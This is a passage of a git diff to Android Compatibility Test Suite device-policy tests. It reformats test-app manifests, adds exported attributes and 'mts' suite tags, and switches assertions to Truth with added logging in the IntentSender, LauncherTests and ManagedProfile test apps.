-                android:name="android.support.FILE_PROVIDER_PATHS"
-                android:resource="@xml/filepaths" />
+        <provider android:name="androidx.core.content.FileProvider"
+             android:authorities="com.android.cts.intent.sender.fileprovider"
+             android:grantUriPermissions="true"
+             android:exported="false">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                 android:resource="@xml/filepaths"/>
         </provider>
 
-        <provider
-            android:name=".BasicContentProvider"
-            android:authorities="com.android.cts.intent.sender.provider"
-            android:grantUriPermissions="true"
-            android:exported="true"
-            android:permission="com.android.cts.intent.sender.permission.SAMPLE" />
+        <provider android:name=".BasicContentProvider"
+             android:authorities="com.android.cts.intent.sender.provider"
+             android:grantUriPermissions="true"
+             android:exported="true"
+             android:permission="com.android.cts.intent.sender.permission.SAMPLE"/>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.intent.sender"
-        android:label="Intent Sender CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.intent.sender"
+         android:label="Intent Sender CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
index eef1577..23860f3 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/AppLinkTest.java
@@ -16,12 +16,17 @@
 
 package com.android.cts.intent.sender;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.net.Uri;
 import android.test.InstrumentationTestCase;
 
+import java.util.List;
+
 public class AppLinkTest extends InstrumentationTestCase {
 
     private static final String TAG = "AppLinkTest";
@@ -75,19 +80,25 @@
             throws Exception {
         PackageManager pm = mContext.getPackageManager();
 
-        Intent result = mActivity.getResult(getHttpIntent());
-        assertNotNull(result);
+        Intent intent = getHttpIntent();
+        Intent result = mActivity.getResult(intent);
+        assertWithMessage("result for intent %s", intent).that(result).isNotNull();
 
         // If it is received in the other profile, we cannot check the class from the ResolveInfo
         // returned by queryIntentActivities. So we rely on the receiver telling us its class.
-        assertEquals(receiverClassName, result.getStringExtra(EXTRA_RECEIVER_CLASS));
-        assertTrue(result.hasExtra(EXTRA_IN_MANAGED_PROFILE));
-        assertEquals(inManagedProfile, result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false));
+        assertWithMessage("extra %s on intent %s", EXTRA_RECEIVER_CLASS, result)
+                .that(result.getStringExtra(EXTRA_RECEIVER_CLASS)).isEqualTo(receiverClassName);
+        assertWithMessage("has extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.hasExtra(EXTRA_IN_MANAGED_PROFILE)).isTrue();
+        assertWithMessage("extra %s on intent %s", EXTRA_IN_MANAGED_PROFILE, result)
+                .that(result.getBooleanExtra(EXTRA_IN_MANAGED_PROFILE, false))
+                .isEqualTo(inManagedProfile);
     }
 
     private void assertNumberOfReceivers(int n) {
         PackageManager pm = mContext.getPackageManager();
-        assertEquals(n, pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0).size());
+        List<ResolveInfo> receivers = pm.queryIntentActivities(getHttpIntent(), /* flags = */ 0);
+        assertWithMessage("receivers").that(receivers).hasSize(n);
     }
 
     private Intent getHttpIntent() {
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/IntentSenderActivity.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/IntentSenderActivity.java
index eb64d47..935090f 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/IntentSenderActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/IntentSenderActivity.java
@@ -26,13 +26,13 @@
 import android.os.Bundle;
 import android.util.Log;
 
+import java.util.List;
 import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
-import java.util.List;
 
 public class IntentSenderActivity extends Activity {
 
-    private static String TAG = "IntentSenderActivity";
+    private static final String TAG = IntentSenderActivity.class.getSimpleName();
 
     private final SynchronousQueue<Result> mResult = new SynchronousQueue<>();
 
@@ -52,10 +52,14 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         mClipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
+
+        Log.d(TAG, "Created on user " + getUserId());
     }
 
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        Log.d(TAG, "onActivityResult(): userId=" + getUserId() + ", requestCode=" + requestCode
+                + ",  resultCode=" + resultCode);
         if (resultCode == Activity.RESULT_OK) {
             try {
                 mResult.offer(new Result(resultCode, data), 5, TimeUnit.SECONDS);
@@ -68,9 +72,12 @@
     public Intent getResult(Intent intent) throws Exception {
         Log.d(TAG, "Sending intent " + intent);
         startActivityForResult(intent, 42);
-        final Result result = mResult.poll(30, TimeUnit.SECONDS);
+        int timeoutSec = 30;
+        Result result = mResult.poll(timeoutSec, TimeUnit.SECONDS);
         if (result != null) {
             Log.d(TAG, "Result intent: " + result.data);
+        } else {
+            Log.d(TAG, "null result after " + timeoutSec + "s");
         }
         return (result != null) ? result.data : null;
     }
@@ -79,8 +86,7 @@
      * This method will send an intent accross profiles to IntentReceiverActivity, and return the
      * result intent set by IntentReceiverActivity.
      */
-    public Intent getCrossProfileResult(Intent intent)
-            throws Exception {
+    public Intent getCrossProfileResult(Intent intent) throws Exception {
         PackageManager pm = getPackageManager();
         List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
         //  There should be two matches:
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
index b769cdc..16d4f03 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
@@ -1,5 +1,7 @@
 package com.android.cts.intent.sender;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.Intent;
@@ -7,6 +9,7 @@
 import android.content.pm.ResolveInfo;
 import android.content.res.Configuration;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
@@ -15,8 +18,12 @@
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 
 public class SuspendPackageTest extends InstrumentationTestCase {
+
+    private static final String TAG = "IntentSender.SuspendPackageTest";
+
     private static final int WAIT_DIALOG_TIMEOUT_IN_MS = 5000;
     private static final BySelector POPUP_TITLE_WATCH_SELECTOR = By
             .clazz(android.widget.TextView.class.getName())
@@ -33,34 +40,53 @@
     private UiAutomation mUiAutomation;
 
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
-    private static final String TARGET_ACTIVITY_NAME
-            = "com.android.cts.intent.receiver.SimpleIntentReceiverActivity";
+    private static final String TARGET_ACTIVITY_NAME =
+            "com.android.cts.intent.receiver.SimpleIntentReceiverActivity";
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getTargetContext();
-        mActivity = launchActivity(mContext.getPackageName(), IntentSenderActivity.class, null);
+        String packageName = mContext.getPackageName();
+        int userId = mContext.getUserId();
+        Class<IntentSenderActivity> activityClass = IntentSenderActivity.class;
+        if (temporarilySkipActivityLaunch()) {
+            Log.w(TAG, "setup(): not launching " + activityClass + " on user " + userId
+                    + " as launcher on automotive doesn't support suspended apps yet");
+        } else {
+            Log.d(TAG, "setup(): launching " + activityClass + " on user " + userId);
+            mActivity = launchActivity(packageName, activityClass, null);
+            assertWithMessage("activity %s launched on package %s on user %s",
+                    activityClass, packageName, userId).that(mActivity).isNotNull();
+            Log.d(TAG, "setup(): launched activity " + mActivity);
+        }
         mPackageManager = mContext.getPackageManager();
         mUiAutomation = getInstrumentation().getUiAutomation();
     }
 
     @Override
     public void tearDown() throws Exception {
-        mActivity.finish();
+        if (mActivity != null) {
+            mActivity.finish();
+        }
         super.tearDown();
     }
 
+    // TODO(b/182387060): STOPSHIP temporarily hack until CarLauncher supports it
+    private boolean temporarilySkipActivityLaunch() {
+        return UserManager.isHeadlessSystemUserMode();
+    }
+
     public void testPackageSuspended() throws Exception {
-        assertPackageSuspended(true, false);
+        assertPackageSuspended(/* suspended= */ true, /* customDialog= */ false);
     }
 
     public void testPackageNotSuspended() throws Exception {
-        assertPackageSuspended(false, false);
+        assertPackageSuspended(/* suspended= */ false, /* customDialog= */ false);
     }
 
     public void testPackageSuspendedWithPackageManager() throws Exception {
-        assertPackageSuspended(true, true);
+        assertPackageSuspended(/* suspended= */ true, /* customDialog= */ true);
     }
 
     /**
@@ -70,19 +96,29 @@
     private void assertPackageSuspended(boolean suspended, boolean customDialog) throws Exception {
         Intent intent = new Intent();
         intent.setClassName(INTENT_RECEIVER_PKG, TARGET_ACTIVITY_NAME);
-        Intent result = mActivity.getResult(intent);
-        if (suspended) {
-            if (customDialog) {
-                dismissCustomDialog();
+        if (!temporarilySkipActivityLaunch()) {
+            Intent result = mActivity.getResult(intent);
+            Log.d(TAG, "assertPackageSuspended(suspended=" + suspended
+                    + ", customDialog=" + customDialog + "): result for activity "
+                    + INTENT_RECEIVER_PKG + "/" + TARGET_ACTIVITY_NAME + " on user "
+                    + mContext.getUserId() + ": " + result);
+            if (suspended) {
+                if (customDialog) {
+                    dismissCustomDialog();
+                } else {
+                    dismissPolicyTransparencyDialog();
+                }
+                assertWithMessage("result for activitiy %s while suspended", intent).that(result)
+                        .isNull();
             } else {
-                dismissPolicyTransparencyDialog();
+                assertWithMessage("result for activitiy %s while NOT suspended", intent)
+                        .that(result).isNotNull();
             }
-            assertNull(result);
-        } else {
-            assertNotNull(result);
         }
         // No matter if it is suspended or not, we should be able to resolve the activity.
-        assertNotNull(mPackageManager.resolveActivity(intent, 0));
+        ResolveInfo resolveInfo = mPackageManager.resolveActivity(intent, /* flags= */ 0);
+        assertWithMessage("ResolveInfo for activity %s", intent).that(resolveInfo).isNotNull();
+        Log.d(TAG, "ResolveInfo: " + resolveInfo);
     }
 
     /**
@@ -93,15 +129,15 @@
         if (isWatch()) {
             device.wait(Until.hasObject(POPUP_TITLE_WATCH_SELECTOR), WAIT_DIALOG_TIMEOUT_IN_MS);
             final UiObject2 title = device.findObject(POPUP_TITLE_WATCH_SELECTOR);
-            assertNotNull("Policy transparency dialog title not found", title);
+            assertWithMessage("Policy transparency dialog title").that(title).isNotNull();
             title.swipe(Direction.RIGHT, 1.0f);
         } else {
             device.wait(Until.hasObject(getPopUpImageSelector()), WAIT_DIALOG_TIMEOUT_IN_MS);
             final UiObject2 icon = device.findObject(getPopUpImageSelector());
-            assertNotNull("Policy transparency dialog icon not found", icon);
+            assertWithMessage("Policy transparency dialog icon").that(icon).isNotNull();
             // "OK" button only present in the dialog if it is blocked by policy.
             final UiObject2 button = device.findObject(getPopUpButtonSelector());
-            assertNotNull("OK button not found", button);
+            assertWithMessage("OK button").that(button).isNotNull();
             button.click();
         }
     }
@@ -111,7 +147,7 @@
         device.wait(Until.hasObject(SUSPEND_BUTTON_SELECTOR), WAIT_DIALOG_TIMEOUT_IN_MS);
 
         final UiObject2 button = device.findObject(SUSPEND_BUTTON_SELECTOR);
-        assertNotNull("OK button not found", button);
+        assertWithMessage("OK button").that(button).isNotNull();
     }
 
     private boolean isWatch() {
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index a9ba46d..b6f4cd2 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -36,5 +36,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index cade532..b0b541b 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -126,6 +126,7 @@
             if (activity.getComponentName().getPackageName().equals(
                     SIMPLE_APP_PACKAGE)) {
                 foundSimpleApp = true;
+                assertEquals(1.0f, activity.getLoadingProgress());
             }
             assertTrue(activity.getUser().equals(mUser));
         }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
index f205874..0c4faaa 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/QuietModeTest.java
@@ -109,7 +109,6 @@
             return;
         }
         setDefaultLauncher(InstrumentationRegistry.getInstrumentation(), mOriginalLauncher);
-        startActivitySync(mOriginalLauncher);
     }
 
     @Test
@@ -295,9 +294,8 @@
     }
 
     private void setTestAppAsDefaultLauncher() {
-        setDefaultLauncher(
-                InstrumentationRegistry.getInstrumentation(),
-                LAUNCHER_ACTIVITY.flattenToString());
+        setDefaultLauncher(InstrumentationRegistry.getInstrumentation(),
+                LAUNCHER_ACTIVITY.getPackageName());
     }
 }
 
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index 1a4f063..dd061a8 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -28,5 +28,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
index 14abd1a..ae9b27e 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/AndroidManifest.xml
@@ -15,19 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.launchertests.support">
+     package="com.android.cts.launchertests.support">
 
     <!-- Target 25.  Don't change to >= 26 since that'll break background services. -->
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="25"/>
 
     <application>
-        <service android:name=".LauncherCallbackTestsService" >
+        <service android:name=".LauncherCallbackTestsService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.launchertests.support.REGISTER_CALLBACK" />
+                <action android:name="com.android.cts.launchertests.support.REGISTER_CALLBACK"/>
             </intent-filter>
         </service>
 
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
@@ -35,7 +38,8 @@
             </intent-filter>
         </activity>
 
-        <receiver android:name=".QuietModeCommandReceiver" android:exported="true">
+        <receiver android:name=".QuietModeCommandReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="toggle_quiet_mode"/>
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index c843216..a515d6b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -34,6 +34,7 @@
         "truth-prebuilt",
         "testng",
         "androidx.legacy_legacy-support-v4",
+        "devicepolicy-deviceside-common",
     ],
     min_sdk_version: "27",
     // tag this module as a cts test artifact
@@ -41,6 +42,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     platform_apis: true,
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index befdc0c..c23d1e8 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -15,217 +15,210 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.managedprofile">
+     package="com.android.cts.managedprofile">
 
     <uses-sdk android:minSdkVersion="27"/>
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.BLUETOOTH" />
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
     <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.READ_CALENDAR" />
-    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_CALENDAR"/>
+    <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
     <uses-permission android:name="android.permission.REQUEST_PASSWORD_COMPLEXITY"/>
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.managedprofile.BaseManagedProfileTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.managedprofile.BaseManagedProfileTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-                android:name="com.android.cts.managedprofile.ProvisioningTest$ProvisioningAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.managedprofile.PrimaryUserDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/primary_device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.managedprofile.PrimaryUserDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/primary_device_admin" />
+        <activity android:name=".PrimaryUserFilterSetterActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
-            </intent-filter>
-        </receiver>
-        <activity android:name=".PrimaryUserFilterSetterActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity android:name=".ComponentDisablingActivity" android:exported="true">
+        <activity android:name=".ComponentDisablingActivity"
+             android:exported="true">
         </activity>
-        <activity android:name=".ManagedProfileActivity">
+        <activity android:name=".ManagedProfileActivity"
+             android:exported="true">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_MANAGED_ACTIVITY" />
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_MANAGED_ACTIVITY"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SEND_MULTIPLE" />
-                <data android:mimeType="*/*" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SEND_MULTIPLE"/>
+                <data android:mimeType="*/*"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".PrimaryUserActivity">
+        <activity android:name=".PrimaryUserActivity"
+             android:exported="true">
             <intent-filter>
                 <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_PRIMARY_ACTIVITY" />
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_PRIMARY_ACTIVITY"/>
             </intent-filter>
             <!-- Catch ACTION_PICK in case there is no other app handing it -->
             <intent-filter>
-                <action android:name="android.intent.action.PICK" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-        <activity android:name=".AllUsersActivity">
-            <intent-filter>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <action android:name="com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY" />
-            </intent-filter>
-        </activity>
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.PICK"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity android:name=".TestActivity" />
+        <activity android:name=".AllUsersActivity"
+             android:exported="true">
+            <intent-filter>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <action android:name="com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".TestActivity"/>
 
         <service android:name=".TestConnectionService"
-                 android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
-        <activity android:name=".TestDialerActivity">
+        <activity android:name=".TestDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
         </activity>
-        <service android:name=".AccountService" android:exported="true">
+        <service android:name=".AccountService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
-        <activity
-                android:name=".ProvisioningSuccessActivity"
-                android:theme="@android:style/Theme.NoDisplay">
-            <intent-filter>
-                <action android:name="android.app.action.PROVISIONING_SUCCESSFUL"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-        </activity>
+        <activity android:name=".TimeoutActivity"
+             android:exported="true"/>
 
-        <activity android:name=".WebViewActivity"
-            android:process=":testProcess"/>
-
-        <activity android:name=".TimeoutActivity" android:exported="true"/>
-
-        <activity
-            android:name=".TestCrossProfileViewEventActivity"
-            android:exported="true">
+        <activity android:name=".TestCrossProfileViewEventActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.calendar.action.VIEW_MANAGED_PROFILE_CALENDAR_EVENT"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".CrossProfileNotificationListenerService"
-            android:label="CrossProfileNotificationListenerService"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+        <service android:name=".CrossProfileNotificationListenerService"
+             android:label="CrossProfileNotificationListenerService"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
-        <receiver android:name=".MissedCallNotificationReceiver">
+        <receiver android:name=".MissedCallNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION"/>
             </intent-filter>
         </receiver>
 
         <!-- Test receiver that's decleared direct boot aware. This is needed to make the test app
-             executable by instrumentation before device unlock -->
+                         executable by instrumentation before device unlock -->
         <receiver android:name=".ResetPasswordWithTokenTest$TestReceiver"
-          android:directBootAware="true" >
+             android:directBootAware="true"
+             android:exported="true">
           <intent-filter>
-            <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+            <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
           </intent-filter>
         </receiver>
 
-        <receiver android:name=".LockProfileReceiver">
+        <receiver android:name=".LockProfileReceiver"
+             android:exported="true">
           <intent-filter>
-            <action android:name="com.android.cts.managedprofile.LOCK_PROFILE" />
+            <action android:name="com.android.cts.managedprofile.LOCK_PROFILE"/>
           </intent-filter>
         </receiver>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.managedprofile.WIPE_DATA" />
-                <action android:name="com.android.cts.managedprofile.WIPE_DATA_WITH_REASON" />
+                <action android:name="com.android.cts.managedprofile.WIPE_DATA"/>
+                <action android:name="com.android.cts.managedprofile.WIPE_DATA_WITH_REASON"/>
             </intent-filter>
         </receiver>
 
         <service android:name=".NotificationListener"
-            android:exported="true"
-            android:label="Notification Listener"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
